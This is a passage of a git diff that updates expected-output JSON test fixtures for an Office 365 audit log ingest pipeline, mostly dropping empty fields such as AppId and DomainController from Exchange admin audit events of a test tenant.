"CreationTime": "2020-02-07T20:49:09", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{505B6405-958B-45A0-BAAE-76A0D7ACAE83}", @@ -2842,8 +2758,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:10", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{61D4A3E5-D6B5-401C-B13A-CCAD2BA8E8E9}", @@ -2922,8 +2836,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:21", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{61D4A3E5-D6B5-401C-B13A-CCAD2BA8E8E9}", @@ -3002,8 +2914,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:14", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{E9F19AD5-5B1D-4361-BE94-E55A6E1A6AA3}", @@ -3082,8 +2992,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:48:42", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}", @@ -3159,14 +3067,11 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:55", "ExternalAccess": true, "ObjectId": "testsiem.onmicrosoft.com\\Admin Audit Log Settings", "Parameters": { "AdminAuditLogEnabled": "True", - "DomainController": "", "Identity": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com", "IgnoreDehydratedFlag": "True" }, @@ -3228,13 +3133,10 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:52", "ExternalAccess": true, "ObjectId": "testsiem.onmicrosoft.com\\Transport Settings", "Parameters": { - "DomainController": "", "HygieneSuite": "Premium", "Identity": "testsiem.onmicrosoft.com" }, @@ -3296,13 +3198,10 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:48:52", "ExternalAccess": true, "ObjectId": "testsiem.onmicrosoft.com\\Transport Settings", "Parameters": { - "DomainController": "", "Identity": "testsiem.onmicrosoft.com", "OrganizationFederatedMailbox": "FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042@testsiem.onmicrosoft.com" }, @@ -3364,13 +3263,10 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:48:06", "ExternalAccess": true, "ObjectId": "testsiem.onmicrosoft.com\\ExchangeAssistance", "Parameters": { - "DomainController": "", "IgnoreDehydratedFlag": "True", "Organization": "testsiem.onmicrosoft.com" }, @@ -3432,8 +3328,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:12", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/Migration.8f3e7716-2011-43e4-96b1-aba62d229136", @@ -3514,8 +3408,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:18", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/TenantAllowBlocLists_F0767F09-6B4C-4F78-9234-2C0481176063", @@ -3594,8 +3486,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:21", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{61D4A3E5-D6B5-401C-B13A-CCAD2BA8E8E9}", @@ -3674,8 +3564,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:15", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{61D4A3E5-D6B5-401C-B13A-CCAD2BA8E8E9}", @@ -3754,8 +3642,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:14", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{D5FD6316-0A84-416F-8512-3E97EBAF9B1D}", @@ -3834,8 +3720,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:17", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{D5FD6316-0A84-416F-8512-3E97EBAF9B1D}", @@ -3914,8 +3798,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:48:57", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{D5FD6316-0A84-416F-8512-3E97EBAF9B1D}", @@ -3994,8 +3876,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:02", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{D5FD6316-0A84-416F-8512-3E97EBAF9B1D}", @@ -4074,8 +3954,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:15", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{E9F19AD5-5B1D-4361-BE94-E55A6E1A6AA3}", @@ -4154,8 +4032,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:48:51", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042", @@ -4234,8 +4110,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:17", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{61D4A3E5-D6B5-401C-B13A-CCAD2BA8E8E9}", @@ -4314,8 +4188,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:17", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{E9F19AD5-5B1D-4361-BE94-E55A6E1A6AA3}", @@ -4394,13 +4266,10 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:23", "ExternalAccess": true, "ObjectId": "testsiem.onmicrosoft.com\\Recipient Quota Policy", "Parameters": { - "DomainController": "", "Identity": "testsiem.onmicrosoft.com\\Recipient Quota Policy", "IgnoreDehydratedFlag": "True", "PublicFolderHierarchyMailboxCountQuota": "100" @@ -4463,14 +4332,11 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:24", "ExternalAccess": true, "ObjectId": "testsiem.onmicrosoft.com\\Admin Audit Log Settings", "Parameters": { "AdminAuditLogEnabled": "True", - "DomainController": "", "Identity": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com", "IgnoreDehydratedFlag": "True" }, @@ -4532,8 +4398,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:15", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{505B6405-958B-45A0-BAAE-76A0D7ACAE83}", @@ -4612,8 +4476,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:17", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{505B6405-958B-45A0-BAAE-76A0D7ACAE83}", @@ -4692,14 +4554,11 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:24", "ExternalAccess": true, "ObjectId": "testsiem.onmicrosoft.com\\Admin Audit Log Settings", "Parameters": { "AdminAuditLogEnabled": "True", - "DomainController": "", "Identity": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com", "IgnoreDehydratedFlag": "True" }, @@ -4761,8 +4620,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:34", "ExternalAccess": true, "ObjectId": "testsiem.onmicrosoft.com\\OwaMailboxPolicy-Default", @@ -4828,8 +4685,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:12", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/Migration.8f3e7716-2011-43e4-96b1-aba62d229136", @@ -4910,8 +4765,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:14", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{61D4A3E5-D6B5-401C-B13A-CCAD2BA8E8E9}", @@ -4990,8 +4843,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:13", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042", @@ -5070,8 +4921,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:02", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{368F7EFB-D8B2-448B-A304-41EA44801476}", @@ -5150,8 +4999,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:48:57", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{505B6405-958B-45A0-BAAE-76A0D7ACAE83}", @@ -5230,8 +5077,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:15", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{61D4A3E5-D6B5-401C-B13A-CCAD2BA8E8E9}", @@ -5310,8 +5155,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:21", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{61D4A3E5-D6B5-401C-B13A-CCAD2BA8E8E9}", @@ -5390,8 +5233,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:17", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{E9F19AD5-5B1D-4361-BE94-E55A6E1A6AA3}", @@ -5470,14 +5311,11 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:48:04", "ExternalAccess": true, "ObjectId": "testsiem.onmicrosoft.com", "Parameters": { "DoNotUpdateRecipients": "True", - "DomainController": "", "Identity": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com" }, "RecordType": "1", @@ -5538,14 +5376,11 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:55", "ExternalAccess": true, "ObjectId": "testsiem.onmicrosoft.com\\Admin Audit Log Settings", "Parameters": { "AdminAuditLogEnabled": "True", - "DomainController": "", "Identity": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com", "IgnoreDehydratedFlag": "True" }, @@ -5607,8 +5442,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:24", "ExternalAccess": true, "ObjectId": "testsiem.onmicrosoft.com\\ExchangeAssistance15", @@ -5675,13 +5508,10 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:23", "ExternalAccess": true, "ObjectId": "testsiem.onmicrosoft.com\\Recipient Quota Policy", "Parameters": { - "DomainController": "", "Identity": "testsiem.onmicrosoft.com\\Recipient Quota Policy", "IgnoreDehydratedFlag": "True", "PublicFolderHierarchyMailboxCountQuota": "100" @@ -5744,13 +5574,10 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:24", "ExternalAccess": true, "ObjectId": "testsiem.onmicrosoft.com", "Parameters": { - "DomainController": "", "Identity": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com" }, "RecordType": "1", @@ -5811,14 +5638,11 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:49", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/DiscoverySearchMailbox{D919BA05-46A6-415f-80AD-7E09334BB852}", "Parameters": { "AccessRights": "FullAccess", - "DomainController": "", "Identity": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/DiscoverySearchMailbox{D919BA05-46A6-415f-80AD-7E09334BB852}", "User": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/Discovery Management" }, @@ -5883,13 +5707,10 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:49", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/DiscoverySearchMailbox{D919BA05-46A6-415f-80AD-7E09334BB852}", "Parameters": { - "DomainController": "", "Identity": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/DiscoverySearchMailbox{D919BA05-46A6-415f-80AD-7E09334BB852}" }, "RecordType": "1", @@ -5950,14 +5771,11 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:55", "ExternalAccess": true, "ObjectId": "testsiem.onmicrosoft.com\\Admin Audit Log Settings", "Parameters": { "AdminAuditLogEnabled": "True", - "DomainController": "", "Identity": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com", "IgnoreDehydratedFlag": "True" }, @@ -6019,8 +5837,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:12", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201}", @@ -6099,8 +5915,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:15", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{505B6405-958B-45A0-BAAE-76A0D7ACAE83}", @@ -6179,8 +5993,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:03", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{505B6405-958B-45A0-BAAE-76A0D7ACAE83}", @@ -6259,8 +6071,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:21", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{61D4A3E5-D6B5-401C-B13A-CCAD2BA8E8E9}", @@ -6339,8 +6149,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:04", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{61D4A3E5-D6B5-401C-B13A-CCAD2BA8E8E9}", @@ -6419,8 +6227,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:21", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{E9F19AD5-5B1D-4361-BE94-E55A6E1A6AA3}", @@ -6499,8 +6305,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:14", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{E9F19AD5-5B1D-4361-BE94-E55A6E1A6AA3}", @@ -6579,8 +6383,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:48:57", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{D5FD6316-0A84-416F-8512-3E97EBAF9B1D}", @@ -6659,14 +6461,11 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:21", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/DiscoverySearchMailbox{D919BA05-46A6-415f-80AD-7E09334BB852}", "Parameters": { "AccessRights": "FullAccess", - "DomainController": "", "Identity": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/DiscoverySearchMailbox{D919BA05-46A6-415f-80AD-7E09334BB852}", "User": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/Discovery Management" }, @@ -6731,8 +6530,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:48:57", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{E9F19AD5-5B1D-4361-BE94-E55A6E1A6AA3}", @@ -6811,8 +6608,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:13", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042", @@ -6891,14 +6686,11 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:07", "ExternalAccess": true, "ObjectId": "testsiem.onmicrosoft.com", "Parameters": { "DoNotUpdateRecipients": "True", - "DomainController": "", "Identity": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com" }, "RecordType": "1", @@ -6959,8 +6751,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:14", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{368F7EFB-D8B2-448B-A304-41EA44801476}", @@ -7039,13 +6829,10 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:48:32", "ExternalAccess": true, "ObjectId": "testsiem.onmicrosoft.com\\Resource Schema", "Parameters": { - "DomainController": "", "Organization": "testsiem.onmicrosoft.com" }, "RecordType": "1", @@ -7106,13 +6893,10 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:23", "ExternalAccess": true, "ObjectId": "testsiem.onmicrosoft.com\\Recipient Quota Policy", "Parameters": { - "DomainController": "", "Identity": "testsiem.onmicrosoft.com\\Recipient Quota Policy", "IgnoreDehydratedFlag": "True", "PublicFolderHierarchyMailboxCountQuota": "100" @@ -7175,8 +6959,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:48:42", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}", @@ -7252,8 +7034,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:16", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{505B6405-958B-45A0-BAAE-76A0D7ACAE83}", @@ -7332,13 +7112,10 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:52", "ExternalAccess": true, "ObjectId": "testsiem.onmicrosoft.com\\Recipient Quota Policy", "Parameters": { - "DomainController": "", "Identity": "testsiem.onmicrosoft.com\\Recipient Quota Policy", "IgnoreDehydratedFlag": "True", "PublicFolderHierarchyMailboxCountQuota": "100" @@ -7401,8 +7178,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:15", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{368F7EFB-D8B2-448B-A304-41EA44801476}", @@ -7481,8 +7256,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:48:44", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/Migration.8f3e7716-2011-43e4-96b1-aba62d229136", @@ -7563,8 +7336,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:16", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{D5FD6316-0A84-416F-8512-3E97EBAF9B1D}", @@ -7615,4 +7386,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-exchange-item-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-exchange-item-events.json-expected.json index 3ffd5425e33..4078b0a539b 100644 --- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-exchange-item-events.json-expected.json +++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-exchange-item-events.json-expected.json @@ -820,4 +820,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-ip-formats-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-ip-formats-events.json-expected.json index 25a8c24810b..33509ada0d9 100644 --- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-ip-formats-events.json-expected.json +++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-ip-formats-events.json-expected.json @@ -594,4 +594,4 @@ ] } ] -} \ No newline at end of file +} diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-modified-properites.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-modified-properites.json-expected.json index 9001a6c5fba..641d3c33e1d 100644 --- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-modified-properites.json-expected.json +++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-modified-properites.json-expected.json @@ -59,10 +59,6 @@ "LogonUserSid": "S-1-5-21-0123456789-012345678-901234567-8912345", "MailboxGuid": "00112233-4455-6677-8899-aabbccddeeff", "MailboxOwnerSid": "S-1-5-21-0123456789-012345678-901234567-8912345", - "ModifiedProperties": { - "CreationTime": {}, - "HtmlBody": {} - }, "RecordType": "2", "ResultStatus": "Succeeded", "UserId": "user@example.com", @@ -112,4 +108,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-ms-teams-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-ms-teams-events.json-expected.json index 6fa0ddc739b..65cf3a33c3b 100644 --- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-ms-teams-events.json-expected.json +++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-ms-teams-events.json-expected.json @@ -36,7 +36,6 @@ "RecordType": "25", "TeamGuid": "19:5ad83cb367fc48358e759dccff238f46@thread.skype", "UserId": "Application", - "UserKey": "", "UserType": "5", "Version": "1" } @@ -263,4 +262,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-parameter-string.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-parameter-string.json-expected.json index e1a4d335b6d..56cc1b3321b 100644 --- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-parameter-string.json-expected.json +++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-parameter-string.json-expected.json @@ -60,7 +60,6 @@ "ObjectId": "Unknown", "RecordType": "15", "ResultStatus": "Success", - "SupportTicketId": "", "Target": [ { "ID": "Unknown", @@ -139,8 +138,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:49", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/DiscoverySearchMailbox{D919BA05-46A6-415f-80AD-7E09334BB852}", @@ -177,4 +174,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-platform-attribute-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-platform-attribute-events.json-expected.json index 4e5ff36d3f6..7457c63cd6d 100644 --- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-platform-attribute-events.json-expected.json +++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-platform-attribute-events.json-expected.json @@ -51,4 +51,4 @@ ] } ] -} \ No newline at end of file +} diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-sec-comp-alerts-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-sec-comp-alerts-events.json-expected.json index 3f0ef8bd999..444c21eec6f 100644 --- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-sec-comp-alerts-events.json-expected.json +++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-sec-comp-alerts-events.json-expected.json @@ -188,6 +188,7 @@ "preserve_original_event" ], "user": { + "email": "asr@testsiem.onmicrosoft.com", "id": "SecurityComplianceAlerts" } }, @@ -257,4 +258,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-sharepoint-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-sharepoint-events.json-expected.json index 68babf1c93b..8a41267dedb 100644 --- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-sharepoint-events.json-expected.json +++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-sharepoint-events.json-expected.json @@ -397,4 +397,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-sharepointfileop-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-sharepointfileop-events.json-expected.json index 0d3490ffb85..1132413e034 100644 --- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-sharepointfileop-events.json-expected.json +++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-sharepointfileop-events.json-expected.json @@ -1308,4 +1308,4 @@ } } ] -} \ No 